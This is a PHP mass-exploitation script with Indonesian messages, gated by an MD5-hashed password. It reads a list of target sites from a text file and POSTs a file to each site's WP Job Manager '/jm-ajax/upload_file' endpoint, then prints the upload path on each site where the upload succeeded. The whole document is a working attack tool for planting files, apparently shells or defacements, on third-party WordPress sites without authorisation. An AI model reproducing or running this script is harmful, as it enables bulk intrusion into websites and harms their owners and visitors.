Pass ee

<?php
session_start();
$user = $_POST['pw'];
$pass = "05da9d587437a3f58cf91a8694448793";
if(isset($user)){
if(md5($user)==$pass){
$_SESSION['login']=time()+3600;
@header("Location:?");
}else
echo"Pass salah ase ";
}
if($_GET['ac']=='login'){
echo'
<form method="post">
<input type="password" name="pw" value="********">
<input type="submit" name="Login">
</form>
';
}else if($_GET['ac']=='logout'){
session_destroy();
@header("Location:?");
}

if(isset($_SESSION['login'])){
if(time()==$_SESSION['login']){
session_destroy();
echo'SESSION EXPIRET SILAKAN <a href="?ac=login">LOGIN</a> KEMBALI';
exit;
}else{
echo'<a href="?ac=logout">Log Out</a>';
}
$nama = "okebunda.txt";
$buka=fopen("$nama","r");
$size=filesize("$nama");
$baca=fread($buka,$size);
$sites = explode("\r\n", $baca);
echo time()."<br/>";
echo $_SESSION['login']."<br/>";
foreach($sites as $site){
	if(preg_match("#http://#", $site))

{
   $jingan = $site;
} else {
  $jingan = "http://".$site;
}
  echo "$jingan =>";
  $file = "xte.jpe";
  $site = "$jingan/jm-ajax/upload_file";
  $post = array( "file[]" => "@$file", );

$ch = curl_init ("$site");
curl_setopt($ch,
CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch,
CURLOPT_FOLLOWLOCATION, 1 );
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');

$data = curl_exec ($ch);
        if (preg_match("/$file/i", $data)){

$siapbosq = "$jingan/wp-content/uploads/job-manager-uploads/file/2017/07/$file";

echo "\n$siapbosq\n";

}else{
echo "\nGagalBosq\n"; }

}
}else{
@header("Location:?ac=login");
}
?>